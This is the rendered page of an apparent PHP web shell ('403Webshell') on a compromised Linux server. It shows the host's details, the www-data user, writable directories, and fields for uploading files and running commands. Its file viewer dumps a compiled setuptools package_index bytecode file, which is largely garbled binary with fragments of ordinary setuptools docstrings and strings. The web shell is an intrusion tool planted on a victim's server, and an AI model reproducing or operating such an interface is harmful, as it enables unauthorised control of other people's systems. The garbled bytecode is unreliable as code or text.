403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/__pycache__/package_index.cpython-314.pyc
+
�hk����Rt^RIHt^RIt^RIt^RIt^RIt^RIt^RI	t	^RI
t
^RIt^RIt^RI
t
^RIt^RIt^RIt^RIt^RIt^RIt^RIHt^RIHt^RIHt^RIHt^RIt^RIHtH t H!t!H"t"H#t#H$t$H%t%H&t&H't'H(t(H)t)H*t*H+t+H,t,^RI-H.t.^R	I/H0t0H1t1^R
I2H3t3^RI4H5t5]Pl!R4t7]Pl!R
]Pp4t9]Pl!R4t:]Pl!R]Pp4Pvt<RP{4t>.R1Ot?^t@R]P�R]P�P�R]P�P�2tERtFRtGRtHR2RltIR2RltJR2RltKR]#R3RltLRtM]Pl!R]Pp4tN]MR4tO!RR 4tP!R!R"]P4tQ!R#R]%4tR]Pl!R$4P�tTR%tUR&tVR3R'ltWR(tX!R)R*]4tY!R+R,]P�4t[]P�P�3R-lt^R.t_]W!]@4!]^4t^R/t`R0taR#)4z$PyPI and direct package downloading.)�annotationsN)�	translate��wraps)�
NamedTuple��unique_everseen)�BINARY_DIST�
CHECKOUT_DIST�DEVELOP_DIST�EGG_DIST�SOURCE_DIST�Distribution�Environment�Requirement�find_distributions�normalize_path�
parse_version�	safe_name�safe_version�to_filename)�Wheel)�_cfg_read_utf8_with_fallback�_read_utf8_with_fallback)�log)�DistutilsErrorz^egg=([-A-Za-z0-9_.+!]+)$zhref\s*=\s*['"]?([^'"> ]+)z�<a href="([^"#]+)">([^<]+)</a>\n\s+\(<a (?:title="MD5 hash"\n\s+)href="[^?]+\?:action=show_md5&amp;digest=([0-9a-f]{32})">md5</a>\)z([-+.a-z0-9]{2,}):z.tar.gz .tar.bz2 .tar .zip .tgz�PackageIndexzsetuptools/z Python-urllib/�.c�v�\P!V4# \dp\RT:24ThRp?ii;i)z/Not a URL, existing file, or requirement spec: N)r�parse�
ValueErrorr)�spec�es& �:/usr/lib/python3/dist-packages/setuptools/package_index.py�parse_requirement_argr$HsB���� � ��&�&�����=�d�X�F�
��	���s��8�3�8c�p�VP4pRRRrCpVPR4'd�VPR4'd	VRR	pRpMhVPRR
4'dVRRpVRR
pRpMCVPR4'd	VRR
pRpM$VPRR4'd
VRRpVRRpRpW#V3#)z=Return (base,pyversion) or (None,None) for possible .exe nameN�.exez
.win32.exe�win32z	.win32-pyz.win-amd64.exez	win-amd64z
.win-amd64-pyi����i�i�������i�i��)�lower�endswith�
startswith)�namer)�base�py_ver�plats&    r#�parse_bdist_wininstr0Qs���
�J�J�L�E��t�T�$�D��~�~�f����>�>�,�'�'����:�D��D�
�
�
�k�3�
/�
/��"�R�[�F����:�D��D�
�^�^�,�
-�
-����:�D��D�
�
�
�o�s�
3�
3��"�R�[�F����:�D��D�����c�x�\PPV4pVwr#rErg\PPVP	R4R,4pVR8Xd=VR8Xd6\PPVP	R4R,4pRV9dVP	R^4wr�W�3#)�/zsourceforge.net�download�#������)�urllibr�urlparse�unquote�split)	�url�parts�_scheme�server�path�_parameters�_query�fragmentr-s	&        r#�egg_info_for_urlrDis����L�L�!�!�#�&�E�;@�8�G�T���<�<����
�
�3��� 3�4�D�
�"�"�t�z�'9��|�|�#�#�D�J�J�s�O�B�$7�8��
�d�{����C��+����>�r1c#�"�\V4wr#\WV4Rjx�L
V'dK\PV4pV'd,\	WP^4V\R7Rjx�L
R#R#R#LXL5i)zEYield egg or source distribution objects that might be found at a URLN)�
precedence)rD�distros_for_location�EGG_FRAGMENT�match�interpret_distro_name�groupr
)r<�metadatar-rCrIs&&   r#�distros_for_urlrMtsl���%�c�*�N�D�#�C�x�8�8�8���"�"�8�,���,��[�[��^�X�-��
�
���9�
�s,�A<�A8�A<�A<�	$A<�-A:�.A<�:A<c��VPR4'dVRRpVPR4'd RV9d\P!WV4.#VPR4'dZRV9dS\V4pVP	4'g.#\VVP
VP\^,R7.#VPR4'd%\V4wrEpVe\WW%\V4#\F7pVPV4'gKVR\V4)p\WV4u#	.#)	z:Yield egg or source distribution objects based on basenamez.egg.zipN�.egg�-z.whl)�location�project_name�versionrFr&r()
r*r�
from_locationr�
is_compatiblerRrSrr0rJr	�
EXTENSIONS�len)rQ�basenamerL�wheel�win_baser.�platform�exts&&&     r#rGrG�s,������$�$��C�R�=������ � �S�H�_��*�*�8�x�H�I�I����� � �S�H�_��h����"�"�$�$��I��!�"�/�/��
�
�#�a�<�
�
�	
����� � �%8��%B�"��(���(��H�k�8��
�
�����S�!�!���3�s�8�)�,�H�(��X�F�F���Ir1c�h�\\V4\PP	V4V4#)zEYield possible egg or source distribution objects based on a filename)rGr�osr@rX)�filenamerLs&&r#�distros_for_filenamer`�s*����x� �"�'�'�"2�"2�8�"<�h��r1c
#��"�VPR4pV'gK\;QJd#RVR,4F'gKRM	RM!RVR,44'dR#\\V44F(pWg,R,P	4'gK(M
	\V4p\VVRP
VRV4RP
WgR4VVVR7x�R#5i)	z�Generate the interpretation of a source distro name

Note: if `location` is a filesystem filename, you should call
``pkg_resources.normalize_path()`` on it before passing it to this
routine!
rPc3�P"�TFp\P!RV4x�K	R#5i)z	py\d\.\d$N)�rerI)�.0�ps& r#�	<genexpr>�(interpret_distro_name.<locals>.<genexpr>�s���K��A�b�h�h�|�Q�7�7��s�$&:�NNTFN:N�N)�
py_versionrFr[)r;�any�rangerW�isdigitr�join)rQrXrLrjrFr[r=res&&&&&&  r#rJrJ�s����
�N�N�3��E��#�#�K��r��K�#�#�#�K��r��K�K�K���3�u�:�
���8�B�<���!�!���
��J��
�������r��������r��������s�$C*�C*�!C*�$9C*�"AC*c�0a�\S4V3Rl4pV#)zg
Wrap a function returning an iterable such that the resulting iterable
only ever yields unique items.
c�&<�\S!V/VB4#�Nr)�args�kwargs�funcs*,�r#�wrapper�unique_values.<locals>.wrapper�s����t�T�4�V�4�5�5r1r)rtrusf r#�
unique_valuesrw�s"����4�[�6��6��Nr1z3<([^>]*\srel\s{0,10}=\s{0,10}['"]?([^'" >]+)[^>]*)>c
#�"�\PV4F�pVP4wr4\\	\
PVP4PR444pRV9g
RV9gKe\PV4F=p\PPV\VP^444x�K?	K�	RFvpVPV4pVR8wgK\P!W4pV'gK<\PPV\VP^444x�Kx	R#5i)zEFind rel="homepage" and rel="download" links in `page`, yielding URLs�,�homepager4N)z
<th>Home Pagez<th>Download URLr6)�REL�finditer�groups�set�map�str�stripr)r;�HREFr8r�urljoin�
htmldecoderK�find�search)r<�pagerI�tag�rel�rels�poss&&     r#�find_external_linksr��s�������d�#���<�<�>����3�s�y�y�#�)�)�+�"3�"3�C�"8�9�:������t�!3����s�+���l�l�*�*�3�
�5�;�;�q�>�0J�K�K�,�	$�5���i�i��n���"�9��K�K��*�E��u��l�l�*�*�3�
�5�;�;�q�>�0J�K�K�5�s�A6E�=A4E�6E�AEc�,�]tRt^�tRtRtRtRtRtR#)�ContentCheckerzH
A null content checker that defines the interface for checking content
c
��R#)z#
Feed a block of data to the hash.
N���self�blocks&&r#�feed�ContentChecker.feed�s��	r1c
��R#)z3
Check the hash. Return False if validation fails.
Tr��r�s&r#�is_valid�ContentChecker.is_valid�s��r1c
��R#)z]
Call reporter with information about the checker (hash name)
substituted into the template.
Nr�)r��reporter�templates&&&r#�report�ContentChecker.reports��
	r1r�N)	�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�r�r��__static_attributes__r�r1r#r�r��s�����r1r�c�h�]tRtRt]P
!R4tRRlt]R4t	Rt
RtRtR	t
R
#)�HashCheckerizK(?P<hash_name>sha1|sha224|sha384|sha256|sha512|md5)=(?P<expected>[a-f0-9]+)c��V^8�dQhRR/#�rh�return�Noner�)�formats"r#�__annotate__�HashChecker.__annotate__s��!�!�t�!r1c	�T�Wn\P!V4VnW nR#rq)�	hash_name�hashlib�new�hash�expected)r�r�r�s&&&r#�__init__�HashChecker.__init__s��"���K�K�	�*��	� �
r1c
��\PPV4R,pV'g\4#VPPV4pV'g\4#V!R/VP
4B#)z5Construct a (possibly null) ContentChecker from a URLr6r�)r8rr9r��patternr��	groupdict)�clsr<rCrIs&&  r#�from_url�HashChecker.from_urls^���<�<�(�(��-�b�1���!�#�#����"�"�8�,���!�#�#��'�U�_�_�&�'�'r1c	�<�VPPV4R#rq)r��updater�s&&r#r��HashChecker.feed!s���	�	����r1c	�P�VPP4VP8H#rq)r��	hexdigestr�r�s&r#r��HashChecker.is_valid$s���y�y�"�"�$��
�
�5�5r1c	�6�W P,pV!V4#rq)r�)r�r�r��msgs&&& r#r��HashChecker.report's�����'����}�r1)r�r�r�N)r�r�r�r�rc�compiler�r��classmethodr�r�r�r�r�r�r1r#r�r�s=���j�j�	#��G�
!�
�(��(� �6�r1r�c��a�]tRtRtRtR=RV3RllltV3RltR>RRlltR>RR	lltR>R
Rllt	RR
lt
RRltRtRt
RRltR?RRlltRRltR?V3RlltRRltRRltRtRRltR tR@R!R"lltRAR#R$lltR%tR&tR'tR(R)ltR?R*lt]R+4t] R,4t!R-t"]R.4t#R/t$R0t%R1R2lt&R3t'R4t(]R54t)R6R7lt*R8R9lt+R:R;lt,R<t-V;t.#)Bri,z;A distribution index that scans web pages for download URLsc�$�V^8�dQhRRRRRR/#)rh�	index_urlr��
verify_ssl�boolr�r�r�)r�s"r#r��PackageIndex.__annotate__/s(��-�-��-�
�-�
�-r1c	�l<�\SV`!V/VBVRRVPR4'*,Vn/Vn/Vn/Vn\P!RP\\V444PVn
.Vn\P P"VnR#)r3N�|)�superr�r*r��scanned_urls�fetched_urls�
package_pagesrcr�rnrrrI�allows�to_scanr8�request�urlopen�opener)r�r��hosts�	ca_bundler�rr�kw�	__class__s&&&&&*,�r#r��PackageIndex.__init__/s����	���$�%�"�%�"�S�)F�y�/A�/A�#�/F�+F�%G�G���"$���"$���#%����j�j����#�i��*?�!@�A�G�G�������n�n�,�,��r1c	�r<�\VP4\ST`T4# \dR#i;irq)rrS�	Exceptionr��add)r��distr�s&&�r#r��PackageIndex.addAs9���	��$�,�,�'��w�{�4� � ���	��	�s�'�6�6c� �V^8�dQhRRRR/#)rh�retriever�r�r�r�)r�s"r#r�r�Js��31�31��31�$�31r1c	
��WP9dV'gR#RVPV&\V4'gVPV4R#\\	V44pV'd,VPV4'gR#VP
RV4V'gV'dWP9d"\\VPV44R#VPV4'gRVPV&R#VPRV4RVPV&RpVPWV,4pVfR#\V\PP4'd0VP R8XdVPRVP"24RVPVP$&RVP&P)R	R
4P+49dVP-4R#VP$pVP/4p\V\04'ge\V\PP4'dRpM%VP&P3R4;'gRpVP5VR
4pVP-4\6P9V4FLp	\P:P=V\?V	PA^444p
VPCV
4KN	VPEVPF4'd(\IVRR4R8wdVPKW4pR#R#R#)z<Evaluate a URL as a possible download, and maybe retrieve itNTzFound link: %sz
Reading %sz<Download error on %s: %%s -- Some packages may not be found!i�zAuthentication error: �html�content-type�zlatin-1�charset�ignore�code�)&r��
URL_SCHEME�process_filename�listrM�url_ok�debugr�rr��info�open_url�
isinstancer8�error�	HTTPErrorr�r�r<�headers�getr)�close�readr��	get_param�decoder�r|rr�r�rK�process_urlr+r��getattr�
process_index)r�r<r��dists�tmpl�fr-r�r�rI�links&&&        r#r��PackageIndex.process_urlJsb���#�#�#�H��!%����#���#����!�!�#�&�����-�.�E���{�{�3�'�'���
�
�+�S�1���C�+<�+<�$<���T�X�X�u�%�&���{�{�3���%)�D���c�"���	�	�,��$�!%����#��M���M�M�#�c�z�*���9���a����/�/�0�0�Q�V�V�s�]��I�I�.�q�u�u�g�6�7�#'����!�%�%� �������~�r�:�@�@�B�B�
�G�G�I���u�u���v�v�x���$��$�$��!�V�\�\�3�3�4�4�#���)�)�-�-�i�8�E�E�I���;�;�w��1�D�	���	��]�]�4�(�E��<�<�'�'��j����Q��.H�I�D����T�"�)��>�>�$�.�.�)�)�g�a���.F�#�.M��%�%�c�0�D�/N�)r1c� �V^8�dQhRRRR/#)rh�nestedr�r�r�r�)r�s"r#r�r�s��'�'�4�'�D�'r1c	�4�\PPV4'gVPRV4R#\PP	V4'dtV'gl\PPV4p\P!V4F2pVP\PPW44R4K4	\V4pV'd4VPRV4\\VPV44R#R#)z
Not found: %sNTz	Found: %s)r^r@�exists�warn�isdir�realpath�listdirr�rnr`r�r�rr�)r��fnrr@�itemr�s&&&   r#r��PackageIndex.process_filenames����w�w�~�~�b�!�!��I�I�o�r�*��
�7�7�=�=����V��7�7�#�#�B�'�D��
�
�4�(���%�%�b�g�g�l�l�4�&>��E�)�%�R�(����J�J�{�B�'���T�X�X�u�%�&�r1c� �V^8�dQhRRRR/#)rh�fatalr�r�r�)r�s"r#r�r��s������$�r1c	�V�\V4pT;'d#VP^4P4R8HpV'g<VP\P
P
V4^,4'dR#RpV'd\WQ,4hVPWQ4R#)ri�fileTz�
Note: Bypassing %s (disallowed host; see https://setuptools.pypa.io/en/latest/deprecated/easy_install.html#restricting-downloads-with-allow-hosts for details).
F)	r�rKr)r�r8rr9rr)r�r<r�s�is_filer�s&&&   r#r��PackageIndex.url_ok�s����s�O���4�4�����
�(�(�*�f�4���d�k�k�&�,�,�"7�"7��"<�Q�"?�@�@��
W�	�
� ���+�+��I�I�c��r1c��V^8�dQhRR/#r�r�)r�s"r#r�r��s��?�?�T�?r1c	��\\PPV4pRV4p\	\
P!VPV44R#)c3�"�TF>p\P!V4F!pVPR4'gKW3x�K#	K@	R#5i)z	.egg-linkN)r^rr*)rdr@�entrys&  r#rf�.PackageIndex.scan_egg_links.<locals>.<genexpr>�s=���
������D�)���~�~�k�*�
�T�M�)�
��s
�2A�AN)�filterr^r@r	r��	itertools�starmap�
scan_egg_link)r��search_path�dirs�	egg_linkss&&  r#�scan_egg_links�PackageIndex.scan_egg_links�sB���b�g�g�m�m�[�1��
��
�	�	
�Y�
�
�t�1�1�9�
=�>r1c��V^8�dQhRR/#r�r�)r�s"r#r�r��s����D�r1c
	���\\PPW44p\	\R\
\PVP4444p\V4^8wdR#VwrV\\PPW44FFp\PP!V.VO5!Vn\VnVPV4KH	R#rq)rr^r@rnr�rrr�r��
splitlinesrWrrQr
rFr�)r�r@r�content�lines�egg_path�_setup_pathr�s&&&     r#r�PackageIndex.scan_egg_link�s���*�2�7�7�<�<��+D�E���V�D�#�c�i�i��1C�1C�1E�"F�G�H���u�:��?�� %���&�r�w�w�|�|�D�'C�D�D��G�G�L�L��6��6�D�M�)�D�O��H�H�T�N�Er1c		��RpVPVP4'gV#\\\P
PV\VP4RPR444p\V4^8wgRV^,9dV#\V^,4p\V^,4pRVPPVP4/4V&\V4\V43#)Nr3r5T)NN)r+r�r�rr8rr:rWr;rrr��
setdefaultr)r)r�r�NO_MATCH_SENTINELr=�pkg�vers&&    r#�_scan�PackageIndex._scan�s���&�����t�~�~�.�.�$�$��S����-�-�t�C����4G�4I�/J�/P�/P�QT�/U�V�W���u�:��?�c�U�1�X�o�$�$���a��!���5��8�$��?C����%�%�c�i�i�k�2�6�t�<��3���S�!1�1�1r1c
�H�\PV4FKpVP\PPV\
VP^4444KM	VPV4wrEV'gR#\W4Fip\V4wrxVPR4'd2V'g*V'dVRVRV2,
pMVPV4VPV4Kk	\PRV4# \dEK
i;i)z#Process the contents of a PyPI pager��.pyz#egg=rPc�D�RP!VP^^^4!#)z<a href="{}#md5={}">{}</a>)r�rK)�ms&r#�<lambda>�,PackageIndex.process_index.<locals>.<lambda>�s��2�9�9�1�7�7�1�a��;K�Lr1)r�r|r1r8rr�r�rKr r�rDr*�need_version_info�scan_url�PYPI_MD5�sub)	r�r<r�rIr/r0�new_urlr-�frags	&&&      r#r��PackageIndex.process_index�s����]�]�4�(�E�
��
�
�6�<�<�/�/��Z����A��5O�P�Q�)��:�:�c�?�����+�3�5�G�)�'�2�J�D��}�}�U�#�#�D����s�e�1�S�E�2�2�G��*�*�3�/��M�M�'�"�6��|�|�L�d�
�	
��%�
��
�s�AD�D!� D!c��V^8�dQhRR/#r�r�)r�s"r#r�r��s��
�
��
r1c	�*�VPRV4R#)zPPage at %s links to .py file(s) without version info; an index scan is required.N)�scan_all�r�r<s&&r#r9�PackageIndex.need_version_info�s���
�
�
 ��	
r1c��V^8�dQhRR/#r�r�)r�s"r#r�r��s��&�&�4�&r1c	���VPVP9d.V'dVP!V.VO5!VPR4VP	VP4R#)z6Scanning index of all packages (this may take a while)N)r�r�rr�r:�r�r�rrs&&*r#rB�PackageIndex.scan_all�sE���>�>��!2�!2�2���	�	�#�%��%��I�I�N�O��
�
�d�n�n�%r1c��V^8�dQhRR/#r�r�)r�s"r#r�r��s��
�
�D�
r1c	�.�VPVPVP,R,4VPP	VP
4'g4VPVPVP,R,4VPP	VP
4'gVPV4\VPP	VP
R44FpVPV4K	R#)r3Nr�)	r:r��unsafe_namer�r��keyrR�not_found_in_indexr�)r��requirementr<s&& r#�
find_packages�PackageIndex.find_packages�s����
�
�d�n�n�{�'>�'>�>��D�E��!�!�%�%�k�o�o�6�6��M�M�$�.�.�;�+C�+C�C�c�I�J��!�!�%�%�k�o�o�6�6��#�#�K�0���*�*�.�.�{����C�D�C��M�M�#��Er1c	��<�VP4VPV4WP,FpW19dVu#VPRW4K!	\SV`W4#)z%s does not match %s)�prescanrOrLr�r��obtain)r�rN�	installerr�r�s&&& �r#rS�PackageIndex.obtainsY����������;�'����)�)�D��"����J�J�-�{�A�*��w�~�k�5�5r1c��V^8�dQhRR/#r�r�)r�s"r#r�r�s����D�r1c
�@�VPVPRV24VP4'giVP4\P
!V4\
VPPR\PPV4R24hR#)z
checker is a ContentChecker
zValidating %s checksum for z validation failed for z; possible download problem?N)r�r�r�r�r^�unlinkrr�r,r@rX)r��checkerr_�tfps&&&&r#�
check_hash�PackageIndex.check_hashs���	���t�z�z�%@��
�#K�L����!�!��I�I�K��I�I�h�� ��<�<�$�$�%�%<�R�W�W�=M�=M�h�=W�<X�Y-�-��
�"r1c��V^8�dQhRR/#r�r�)r�s"r#r�r�s��
)�
)�d�
)r1c
��VF�pVPeC\V4'd2VPR4'g\\	V44'dVPV4KfVPP
V4K�	R#)z;Add `urls` to the list that will be prescanned for searchesN�file:)r�r�r+r�rMr:�append)r��urlsr<s&& r#�add_find_links�PackageIndex.add_find_linkss`���C����$�!�#����>�>�'�*�*����,�-�-��
�
�c�"����#�#�C�(�r1c
��VP'd*\\VPVP44RVnR#)z7Scan urls scheduled for prescanning (e.g. --find-links)N)r�r�rr:r�s&r#rR�PackageIndex.prescan(s)���<�<�<���T�]�]�D�L�L�1�2���r1c��V^8�dQhRR/#r�r�)r�s"r#r�r�.s�����r1c	��WP,'dVPRr2M
VPRr2V!W1P4VP	4R#)z#Couldn't retrieve index page for %rz3Couldn't find index page for %r (maybe misspelled?)N)rLr�rrKrB)r�rN�methr�s&&  r#rM�PackageIndex.not_found_in_index.s>����� � ��	�	�#H�#��	�	�#X�#��S�)�)�*��
�
�r1c
��\V\4'g�\V4pV'dJVPW4p\	V4wrVVPR4'dVP
WFV4pV#\PPV4'dV#\V4p\VPW4RR4#)a�Locate and/or download `spec` to `tmpdir`, returning a local path

`spec` may be a ``Requirement`` object, or a string containing a URL,
an existing local filename, or a project/version requirement spec
(i.e. the string form of a ``Requirement`` object).  If it is the URL
of a .py file with an unambiguous ``#egg=name-version`` tag (i.e., one
that escapes ``-`` as ``_`` throughout), a trivial ``setup.py`` is
automatically created alongside the downloaded file.

If `spec` is a ``Requirement`` object or a string containing a
project/version requirement spec, this method returns the location of
a matching distribution (possibly after downloading it to `tmpdir`).
If `spec` is a locally existing file or directory name, it is simply
returned unchanged.  If `spec` is a URL, it is downloaded to a subpath
of `tmpdir`, and the local filename is returned.  Various errors may be
raised if a problem occurs during downloading.
r4rQN)
r�rr��
_download_urlrDr*�	gen_setupr^r@rr$r��fetch_distribution)r�r!�tmpdir�scheme�foundr-rCs&&&    r#r4�PackageIndex.download6s���$�$��,�,���%�F���*�*�4�8��!1�$�!7����=�=��'�'� �N�N�5�F�C�E���������%�%���,�T�2���t�.�.�t�<�j�$�O�Or1c�(�V^8�dQhRRRRRRRR/#)rh�
force_scanr��source�
develop_okr�zDistribution | Noner�)r�s"r#r�r�Xs:��P?�P?��	P?�
�P?��
P?�
�P?r1c
�Daaaaa	�SPRV4\4o	RpR
RVVV	VV3RlllpV'd*SP4SPV4V!V4pV'g
Ve	V!W4pVf'SPeSP4V!V4pVf"V'gSPV4V!V4pVf*SPRS;'dR;'gRV4R#SPRV4VP
VPR	7#)aObtain a distribution suitable for fulfilling `requirement`

`requirement` must be a ``pkg_resources.Requirement`` instance.
If necessary, or if the `force_scan` flag is set, the requirement is
searched for in the (online) package index as well as the locally
installed packages.  If a distribution matching `requirement` is found,
the returned distribution's ``location`` is the value you would have
gotten from calling the ``download()`` method with the matching
distribution's URL or filename.  If no matching distribution is found,
``None`` is returned.

If the `source` flag is set, only source distributions and source
checkout links will be considered.  Unless the `develop_ok` flag is
set, development and system eggs (i.e., those using the ``.egg-info``
format) will be ignored.
zSearching for %sNc��V^8�dQhRR/#)rh�envzEnvironment | Noner�)r�s"r#r��5PackageIndex.fetch_distribution.<locals>.__annotate__vs��	�	�-�	r1c��<�VfSpWP,F�pVP\8Xd5S'g-VS9d$SPRV4SP	V4KLW 9;'d#VP\
8*;'gS'*pV'gK�SP
VPS	4pWBn\PPVP4'gK�Vu#	R#)Nz&Skipping development or system egg: %s)rLrFrrr�r
r4rQ�download_locationr^r@r)
�reqrxr��test�locrur��skippedrtrns
&&   �����r#r��-PackageIndex.fetch_distribution.<locals>.findvs�����{����G�G�����?�?�l�2�:��7�*��	�	�D� �� ���D�)���{�U�U����;�(F�(T�(T�f�*���4��-�-��
�
�v�>�C�-0�*��w�w�~�~�d�&<�&<�=�=�#��%�"r1z:No local packages or working download links found for %s%sza source distribution of r�zBest match: %s)rQrq)r�r~rRrOr�r�cloner{)
r�rNrnrsrtru�local_indexr�r�rs
f&f&ff&  @r#rm�PackageIndex.fetch_distributionXs����4	
�	�	�$�k�2��%����	�	�0��L�L�N����{�+���$�D���/���1�D��<��|�|�'�������$�D��<�
����{�+���$�D��<��I�I�L��7�7�7�=�=�2��
�
��I�I�&��-��:�:�t�'=�'=�:�>�>r1c�$�V^8�dQhRRRRRR/#)rhrsr�rtr�z
str | Noner�)r�s"r#r�r��s$��
�
�/3�
�EI�
�	�
r1c
�J�VPWW44pVe
VP#R#)aObtain a file suitable for fulfilling `requirement`

DEPRECATED; use the ``fetch_distribution()`` method now instead.  For
backward compatibility, this routine is identical but returns the
``location`` of the downloaded distribution instead of a distribution
object.
N)rmrQ)r�rNrnrsrtr�s&&&&& r#�fetch�PackageIndex.fetch�s)���&�&�{�J�O�����=�=� �r1c	�@�\PV4pT;'dH\WP^4R4Uu.uFpVP'gKVNK	up;'g.p\V4^8XEdh\PPV4p\PPV4V8wd�\PPW74p\PPV4'd&\PPW4'g\P!W4Tp\\PPVR4RRR7;_uu_4p	V	P!RV^,P":RV^,P:R\PP%V4^,:R	24RRR4V#V'd\'R
V:RV:24h\'R4huupi +'giT#;i)
riNzsetup.py�wzutf-8)�encodingz(from setuptools import setup
setup(name=z
, version=z, py_modules=[z])
z9Can't unambiguously interpret project/version identifier zI; any dashes in the name or version should be escaped using underscores. zpCan't process plain .py files without an '#egg=name-version' suffix to enable automatic setup script generation.)rHrIrJrKrSrWr^r@rX�dirnamernr�samefile�shutil�copy2�open�writerR�splitextr)
r�r_rCrnrI�dr�rX�dstrs
&&&&      r#rl�PackageIndex.gen_setup�s����"�"�8�,���
�
�/�x���Q���N��N�A��9�9���N��
�
��	��u�:��?��w�w�'�'��1�H��w�w���x�(�F�2��g�g�l�l�6�4�������s�+�+����0@�0@��0O�0O��L�L��/�"�H��b�g�g�l�l�6�:�6��g�N�N�RV��
�
�"�"'��(�"7�"7�!:�*�U�1�X�EU�EU�DX�Xf�gi�gn�gn�gw�gw�yA�hB�CD�hE�gH�HL�M��O�
�O�
� �K�H�<�X � %�y�*��
�!�G��
��A�$O�N�
�O�s�H�H�2A%H�H	i c		��VPRV4Rp\PV4pVPV4p\	V\
PP4'd)\RVRVPRVP24hVP4p^pVPpRpRV9d>VPR4p	\\\V	44pVP!WWgV4\#VR4;_uu_4p
VP%V4pV'dAVP'V4V
P)V4V^,
pVP!WWgV4KZTP+YBT
4RRR4TT'dTP-4## +'giL+;i T'dTP-4ii;i)	zDownloading %sNzCan't download �: � zcontent-lengthzContent-Length�wbr6)r�r�r�r�r�r8r�r�rr�r��dl_blocksize�get_all�maxr�int�
reporthookr�r�r�r�r[r�)r�r<r_�fprYr��blocknum�bs�size�sizesrZr�s&&&         r#�_download_to�PackageIndex._download_to�si���	�	�"�C�(�
��	�!�*�*�3�/�G����s�#�B��"�f�l�l�4�4�5�5�$��s�e�2�b�g�g�Y�a����x�%P�Q�Q��g�g�i�G��H��"�"�B��D��7�*����(8�9���3�s�E�?�+������x�T�B��h��%�%����G�G�B�K�E�����U�+��	�	�%�(� �A�
������x�T�J������3�7�&������
��&�%������
��s+�C0F*�F�!AF�4	F*�F'	�"F*�*Gc��V^8�dQhRR/#r�r�)r�s"r#r�r�s��
�
�D�
r1c	��R#rqr�)r�r<r_r��blksizer�s&&&&&&r#r��PackageIndex.reporthooks��r1c		�>�VPR4'd\V4#\WP4# \\
PP3dppRPTPUu.uFp\T4NK	Muupiup4pT'dTPY%4Rp?R#\TRT24ThRp?i\PPd
pTuRp?#Rp?i\PP dKpT'd"TPY#P"4Rp?R#\RTRTP"24ThRp?i\
PP$dJpT'd"TPY#P&4Rp?R#\TRTP&24ThRp?i\
PP(\*3d7pT'dTPY#4Rp?R#\RTRT24ThRp?ii;i)r_r�NzDownload error for r�z7 returned a bad status line. The server might be down, )r+�
local_open�open_with_authr�r �http�client�
InvalidURLrnrrr�rrr8r�r��URLError�reason�
BadStatusLine�line�
HTTPException�OSError)r�r<�warning�v�argr�s&&&   r#r��PackageIndex.open_url
s����>�>�'�"�"��c�?�"�	N�!�#�{�{�3�3���D�K�K�2�2�3�	<��(�(����7���C��H���7�8�C���	�	�'�'�'�$��u�A�c�U�^�4�!�;���|�|�%�%�	��H���|�|�$�$�	U���	�	�'�8�8�,�,�$�':�3�%�r�!�(�(��%L�M�ST�T���{�{�(�(�	���	�	�'�6�6�*�*�$��e���V�V�H�&��������)�)�7�3�	N���	�	�'�%�%�$�':�3�%�r�!��%E�F�A�M��		N�s��9�%H�C�7B
�C� C�7C� H�)H�*C1�+H�1 H�H�#E�<E� H�9H�:#F>�#F>�>&H�%H�&H�H�Hc
�T�RPR4p\P!VRV4#)a9
Replace unsafe path directives with underscores.

>>> san = PackageIndex._sanitize
>>> san('/home/user/.ssh/authorized_keys')
'_home_user_.ssh_authorized_keys'
>>> san('..\\foo\\bing')
'__foo_bing'
>>> san('D:bar')
'D_bar'
>>> san('C:\\bar')
'C__bar'
>>> san('foo..bar')
'foo..bar'
>>> san('D:../foo')
'D___foo'
r��_)�:z[/\\]z6(?:(?<=([/\\]|:))\.\.(?=[/\\]|$))|(?:^\.\.(?=[/\\]|$)))rnrcr<)r,r�s& r#�	_sanitize�PackageIndex._sanitize*s,��&�(�(�
����v�v�g�t�T�*�*r1c
��\V4wr4TPT;'gR4p\P!RRV4p\P
P
W#4#)a
>>> import pathlib
>>> du = PackageIndex._resolve_download_filename
>>> root = getfixture('tmp_path')
>>> url = 'https://files.pythonhosted.org/packages/a9/5a/0db.../setuptools-78.1.0.tar.gz'
>>> str(pathlib.Path(du(url, root)).relative_to(root))
'setuptools-78.1.0.tar.gz'
�__downloaded__z\.egg\.zip$rO)rDr�rcr<r^r@rn)r�r<rnr,�	_fragments&&&  r#�_resolve_download_filename�'PackageIndex._resolve_download_filenameGsW��+�3�/����}�}��
�
�
�	
���v�v�n�f�d�3���w�w�|�|�F�)�)r1c
�x�VPW4pVPW4;'gVPW4#)z"
Determine the download filename.
)r��
_download_vcs�_download_other)r�r<rnr_s&&& r#rk�PackageIndex._download_url^s8���2�2�3�?���!�!�#�0�W�W�D�4H�4H��4W�Wr1c
��\PPV4PpVP	R4wr#p\RR.R.\
V4,,4p\\V0V,4R4#)z�
>>> rvcs = PackageIndex._resolve_vcs
>>> rvcs('git+http://foo/bar')
'git'
>>> rvcs('hg+https://foo/bar')
'hg'
>>> rvcs('git:myhost')
'git'
>>> rvcs('hg:myhost')
>>> rvcs('http://foo/bar')
�+�svn�git�hgN)	r8r�urlsplitro�	partitionr~r��next�iter)r<ro�pre�sep�_post�alloweds&     r#�_resolve_vcs�PackageIndex._resolve_vcsesh�����&�&�s�+�2�2�� �*�*�3�/���%��u�e�n��v��S�	�'9�9�:���D�#����)�4�0�0r1c	��VPV4pV'gR#VR8Xd\RV24hVPR4wppVPV4wrVP	RVRVRV24\
P!VRRW.4\VR	VR
RV.VRVRR	R
VR.R7pVe1VP	RV24\
P!Ws,4V#)Nr�z/Invalid config, SVN download is not supported: r5zDoing z clone from z to r�z--quietz-C�checkoutz--cwd�upz-rz-q)r�r�z
Checking out )r�rr��_vcs_split_rev_from_urlr��
subprocess�
check_call�dict)r�r<�
spec_filename�vcsr_r��rev�co_commandss&&&     r#r��PackageIndex._download_vcsxs�������$�����%�<� �A�#��G��
